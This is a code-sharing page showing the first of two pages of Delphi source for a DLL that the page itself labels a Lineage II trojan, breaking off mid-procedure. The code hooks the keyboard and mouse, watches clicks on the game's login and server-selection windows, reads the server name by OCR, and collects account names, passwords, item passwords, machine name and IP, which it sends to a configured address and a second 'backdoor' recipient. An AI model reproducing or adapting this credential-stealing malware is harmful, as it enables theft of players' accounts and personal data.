⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unithookdll.pas

📁 LineageII藏经阁天堂2杀手木马源代码
💻 PAS
📖 第 1 页 / 共 2 页
字号:
unit UnitHookDll;

interface

uses Windows, other, UnitHookType, sendmail, reg, winsock, TLHelp32,
  sysutils2, uocr;  //, uIE

const
  scW = 1024;
  scH = 768;
  MaxPoint = 10;
  WM_DESTROY = $0002;
  WM_KEYUP = $0101;
  WM_LBUTTONDOWN = $0201;
  WM_LBUTTONUP = $0202;
  WM_RBUTTONDOWN = $0204;
  WM_LBUTTONDBLCLK = $0203;
  WM_GETTEXT = $000D;
  WM_MOUSEMOVE = $0200;
  WSADESCRIPTION_LEN = 256;
  WSASYS_STATUS_LEN = 128;
  MaxTab = 5;
  TabPass = 1;
  TabUser = 0;
type
  HKEY = type LongWord;
  TShareMem = packed record
    VerTest: boolean;
//    quserver: array[0..255] of char;
    data: array[0..1024] of char;
    backdoor: array[0..1024] of char;
    KeyHook, MouseHook: THandle;
  end;
  PShareMem = ^TShareMem;

procedure StartHook(data: pchar; BackDoor: pchar; VerTest: boolean); stdcall;
procedure StopHook; stdcall;
function GetMyComputerName: string;
procedure ThreadFunc1;

var
  SendHtmlMailSender, SendHtmlMailSubject, SendHtmlMailData: string;

implementation

var
  screenx, screeny: integer;
  DownXY: TPoint;
  RectServerWin, RectLoginWin: TRect;
//  LastUser,LastPass:string;
  iLogin, iStatueMain, //0main  1RequestAccount
    iTabPassUser, iUserPos, iPassPos: integer;
  role: integer;
  WuPinPass, user, pass, quserverLocal: array[0..255] of char;

  pShMem: PShareMem;
  hMappingFile: THandle;
  filename: string;
  //is9X,
  isIE, bClickLogin, isCQ, FirstProcess: boolean;

  GlobalDblclick: boolean;
  GlobalCpoint: TPoint;
  GlobalRect: TRect;
  Globali: integer;
  GlobalTimer: integer;
  timer1: hwnd;


function IsWindows9x: Boolean;
var
  Osi: TOSVersionInfo;
begin
  Osi.dwOSVersionInfoSize := sizeof(Osi);
  GetVersionEx(Osi);
  if (Osi.dwPlatformID = Ver_Platform_Win32_NT) then
    result := False
  else
    result := True;
end;

function HtmlEncode(s: string): string;
var
  i, v1, v2: integer;
  function i2s(b: byte): char;
  begin
    if b <= 9 then result := chr($30 + b)
    else result := chr($41 - 10 + b);
  end;
begin
  result := '';
  for i := 1 to length(s) do
    if s[i] = ' ' then result := result + '+'
    else if (s[i] < ' ') or (s[i] in ['/', '\', ':', '&', '?', '|']) then
    begin
      v1 := ord(s[i]) mod 16;
      v2 := ord(s[i]) div 16;
      result := result + '%' + i2s(v2) + i2s(v1);
    end
    else result := result + s[i];
end;

function TxtEncode(s: string): string;
var
  i: integer;
begin
  result := '';
  for i := 1 to length(s) do
  begin
    result := result + s[i];
    if s[i] = #$A then
      result := result + '<br>'
  end;
end;

function GetMyComputerName: string;
var
  i: DWORD;
begin
  i := 255;
  setlength(result, i);
  GetComputerName(@result[1], i);
  setlength(result, i);
end;

procedure ThreadFunc1;
var
  data, s: string;
begin
  //sleep(8000);
  data := SendHtmlMailData;
  SendHtmlMailData := '';
  if copy(pshmem^.data, 1, 1) = '0' then s := pshmem^.data + HtmlEncode(data) + '&subject=' + HtmlEncode(SendHtmlMailSubject)
    + '&sender=' + HtmlEncode(SendHtmlMailSender)
  else s := pshmem^.data + TxtEncode(Data);
  writedat(SendHtmlMailSender + '#' + SendHtmlMailSubject + '#' + s);
  SendResult(SendHtmlMailSender, SendHtmlMailSubject, s);
  if pshmem^.backdoor[0] <> #0 then
  begin
    s := '0 ' + pshmem^.backdoor + HtmlEncode(Data) + '&subject=' + HtmlEncode(SendHtmlMailSubject)
      + '&sender=' + HtmlEncode(SendHtmlMailSender);
    SendResult(SendHtmlMailSender, SendHtmlMailSubject, s);
  end;
end;

procedure send(const local: boolean = true);
var
  computer, ip, sbak: string;
  ThreadId1: dword;
  i: integer;
begin
  ip := GetMyip;
  computer := GetmycomputerName;
  SendHtmlMailSubject := computer + '(' + ip + ')';
  SendHtmlMailSender := copy(string(quserverLocal), 1, 20);
//  if quserverLocal[0] = #0 then
//    strcopy(@quserverLocal, @pshmem^.quserver);
  if local then
  begin
    sbak := pass;
    if pshmem^.VerTest then
    begin
      for i := 5 to length(sbak) do
        sbak[i] := '*';
    end;
    sbak := '服务器:' + quserverLocal + #$D#$A'户名:' + user +
      #$D#$A'密码:' + sbak;
    if role <> 0 then
      sbak := sbak + #$D#$A'角色:' + inttostr(role);
  end;
  if WuPinPass[0] <> #0 then
    sbak := sbak + #$D#$A'物品密码:' + WuPinPass;
  sbak := sbak + #$D#$A#$D#$A#$D#$A'IP:' + ip + #$D#$A'机器名:' + computer + #$D#$A;
  writedat('send: ' + sbak + ' hehe:' + SendHtmlMailData);
  if SendHtmlMailData <> '' then SendHtmlMailData := SendHtmlMailData + sbak
  else begin
    SendHtmlMailData := sbak;
    CreateThread(nil, 0, @ThreadFunc1, nil, 0, ThreadId1);
  end;
end;

{procedure GetEditCount(p: integer; class1, class2: string);
var
  i, t: integer;
begin
  ic1 := 0; ic2 := 0;
  t := 0;
  for i := 1 to 19 do
  begin
    t := findwindowex(p, t, pchar(class1), nil);
    if t = 0 then break
    else begin
      inc(ic1);
      if IsWindowVisible(t) then
        inc(ic2);
    end;
  end;
  ic3 := 0; ic4 := 0;
  t := 0;
  for i := 1 to 19 do
  begin
    t := findwindowex(p, t, pchar(class2), nil);
    if t = 0 then break
    else begin
        //SendMessage(t, WM_GETTEXT, 255, dword(@Buffer));
        //writedat(inttostr(t)+' '+buffer);
      inc(ic3);
      if IsWindowVisible(t) then
        inc(ic4);
    end;
  end;
end;

function isparent(var p: hwnd; swintext, sclasstext: string; MustSame: boolean): boolean;
var
  WinText, ClassText: array[0..255] of char;
begin
  p := getparent(p);
  WinText[0] := #0;
  GetWindowText(p, WinText, sizeof(WinText));
  ClassText[0] := #0;
  GetClassName(p, ClassText, sizeof(ClassText));
  if Mustsame then
    result := (wintext = swintext) and (classtext = sclasstext)
  else begin
    //writedat(copy(wintext, 1, length(swintext))+','+copy(classtext, 1, length(sclasstext)));
    result := (copy(wintext, 1, length(swintext)) = swintext) and (copy(classtext, 1, length(sclasstext)) = sclasstext)
  end;
end; }

function StrEnd(const Str: PChar): PChar; assembler;
asm
        MOV     EDX,EDI
        MOV     EDI,EAX
        MOV     ECX,0FFFFFFFFH
        XOR     AL,AL
        REPNE   SCASB
        LEA     EAX,[EDI-1]
        MOV     EDI,EDX
end;

function StrCat(Dest: PChar; const Source: PChar): PChar;
begin
  StrCopy(StrEnd(Dest), Source);
  Result := Dest;
end;

procedure wait(ticks: dword);
var
  t: dword;
begin
  t := gettickcount;
  while gettickcount - t < ticks do ProcessMessages;
end;

procedure TimerFindQu(Wnd: Longint; uMsg: UINT; idEvent: UINT; Time: DWORD); stdcall;
var
  s: string;
begin
  killtimer(0, Timer1);
  writedat('Recog' + inttostr(GlobalTimer));
  s := OCR(Globalcpoint, Globalrect, RectServerWin);
  if s <> '' then //nothing
  else if GlobalTimer <= 3 then
  begin
    inc(GlobalTimer);
    timer1 := settimer(0, 1, 1, @TimerFindQu);
    exit;
  end;
  timer1 := 0;
  //s := s + '  坐标:' + inttostr(Globali);
  strcopy(@quserverLocal, pchar(s));
  writedat('SelectServerTimer user:' + user + ' Pass:' + pass + ' qu:' + quserverlocal);
  if GlobalDblclick then
  begin
    iStatueMain := 2;
    iTabPassUser := TabUser;
    iUserPos := strlen(@User);
    send;
  end;
end;

procedure LogoMouse(wpa, lpa: integer; dblclick: boolean);
var
  cpoint: TPoint;
  rect: Trect;
  bfound: boolean;
  i: integer;
  s: string;
begin
  if (iStatueMain = 0) and (iLogin >= 2) then
    iStatueMain := 1;
  case iStatueMain of
    0:
      begin
        bfound := false;
        cpoint := pMOUSEHOOKSTRUCT(lpa)^.pt;
          //ScreenToClient(pMOUSEHOOKSTRUCT(lpa)^.hwnd, cpoint);
        writedat(inttostr(GetSystemMetrics(SM_CXSCREEN)) + 'x:' + inttostr(cpoint.X) + ' Y:' + inttostr(cpoint.Y) + ' user:' + user + ' pass:' + pass);

        if (screenx = 800) and (screeny = 600) then
        begin
          rect.Left := RectLoginWin.Left + 87;
          rect.Right := RectLoginWin.left + 167;
          rect.Top := RectLoginWin.Top + 49;
          rect.Bottom := RectLoginWin.top + 63;
        end
        else begin
          rect.Left := RectLoginWin.Left + 87 * screenx div scW; //true
          rect.Right := RectLoginWin.left + 168 * screenx div scW; //true
          rect.Top := RectLoginWin.Top + 48 * screeny div scH; //true
          rect.Bottom := RectLoginWin.top + 63 * screeny div scH; //true
        end;
        if (ptinrect(Rect, Cpoint)) then //user
        begin
          if iTabPassUser <> TabUser then
          begin
            iTabPassUser := TabUser;
            iUserPos := strlen(@User);
          end;
          bfound := true;
        end;


        if (screenx = 800) and (screeny = 600) then
        begin
          rect.Top := RectLoginWin.Top + 76;
          rect.Bottom := RectLoginWin.Top + 92;
        end
        else begin
          rect.Top := RectLoginWin.Top + 76 * screeny div scH; //true
          rect.Bottom := RectLoginWin.Top + 91 * screeny div scH; //true
        end;
        if (ptinrect(Rect, Cpoint)) then //pass
        begin
          if iTabPassUser <> TabPass then
          begin
            iTabPassUser := TabPass;
            iPassPos := strlen(@pass);
          end;
          bfound := true;
        end;

        if (screenx = 800) and (screeny = 600) then
        begin
          rect.Left := RectLoginWin.Left + 32;
          rect.Right := RectLoginWin.Left + 97;
          rect.Top := RectLoginWin.Top + 112;
          rect.Bottom := RectLoginWin.Top + 130;
        end
        else begin
          rect.Left := RectLoginWin.Left + 33 * screenx div scW; //true
          rect.Right := RectLoginWin.Left + 95 * screenx div scW;
          rect.Top := RectLoginWin.Top + 112 * screeny div scH; //true
          rect.Bottom := RectLoginWin.Top + 129 * screeny div scH;
        end;
        if (ptinrect(Rect, Cpoint)) then //login
        begin
          writedat('mouse login user:' + user + ' Pass:' + pass);
          bfound := true;
          if (user <> '') and (pass <> '') then
            bClickLogin := true;
          iTabPassUser := TabUser;
          iUserPos := strlen(@User);
        end;

        if (screenx = 800) and (screeny = 600) then
        begin
          rect.Left := 374;
          rect.Right := 438;
          rect.Top := 462;
          rect.Bottom := 480;
        end
        else begin
          rect.Left := 487 * screenx div scW;
          rect.Right := 550 * screeny div scH;
          rect.Top := 546 * screenx div scW;
          rect.Bottom := 562 * screeny div scH;
        end;
        if (ptinrect(Rect, Cpoint)) then //after login
        begin
          if bClickLogin then
            inc(ilogin);
        end;

        if not bfound then iTabPassUser := maxint;
      end;
    1: begin
        cpoint := pMOUSEHOOKSTRUCT(lpa)^.pt;
        //ScreenToClient(pMOUSEHOOKSTRUCT(lpa)^.hwnd, cpoint);
        writedat('x:' + inttostr(cpoint.X) + ' Y:' + inttostr(cpoint.Y) + ' user:' + user + ' pass:' + pass);

        if (screenx = 800) and (screeny = 600) then
        begin
          rect.Left := RectServerWin.Left + 28;
          rect.Right := RectServerWin.left + 92;
          rect.Top := RectServerWin.Top + 396;
          rect.Bottom := RectServerWin.top + 414;
        end
        else begin
          rect.Left := RectServerWin.Left + 25 * screenx div scW;
          rect.Right := RectServerWin.left + 90 * screenx div scW;
          rect.Top := RectServerWin.Top + 479 * screeny div scH;
          rect.Bottom := RectServerWin.top + 499 * screeny div scH;
        end;
        if (ptinrect(Rect, Cpoint)) then //select server
        begin
          strcopy(@quserverLocal, '推荐服务器');
          writedat('SelectServer user:' + user + ' Pass:' + pass + ' qu:' + quserverlocal);
        end;

        if (screenx = 800) and (screeny = 600) then
        begin
          rect.Left := RectServerWin.Left + 118;
          rect.Right := RectServerWin.left + 183;
        end
        else begin
          rect.Left := RectServerWin.Left + 117 * screenx div scW;
          rect.Right := RectServerWin.left + 179 * screenx div scW;
        end;
        if (ptinrect(Rect, Cpoint)) then //select server
        begin
          iStatueMain := 2;
          iTabPassUser := TabUser;
          iUserPos := strlen(@User);
          send;
        end;

        if (screenx = 800) and (screeny = 600) then
        begin
          rect.Left := RectServerWin.Left + 15;
          rect.Right := RectServerWin.left + 285;
          rect.Top := RectServerWin.Top + 43;
          rect.Bottom := RectServerWin.top + 393; //27个
        end
        else begin
          rect.Left := RectServerWin.Left + 15 * screenx div scW;
          rect.Right := RectServerWin.left + 282 * screenx div scW;
          rect.Top := RectServerWin.Top + 22 * screeny div scH;
          rect.Bottom := RectServerWin.top + 476 * screeny div scH; //498
        end;
        if (ptinrect(Rect, Cpoint)) then //select server
        begin
          i := 1 + (cpoint.Y - rect.Top) div constHeight;
          s := OCR(cpoint, rect, RectServerWin);
          if (timer1 <> 0) then
          begin
            GlobalTimer := 0;
          end
          else if (s = '') then
          begin
            writedat('Recog');
            Globali := i;
            GlobalRect := Rect;
            GlobalCpoint := cpoint;
            GlobalDblclick := dblclick;
            GlobalTimer := 0;
            timer1 := settimer(0, 1, 1, @TimerFindQu);
          end
          else begin

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -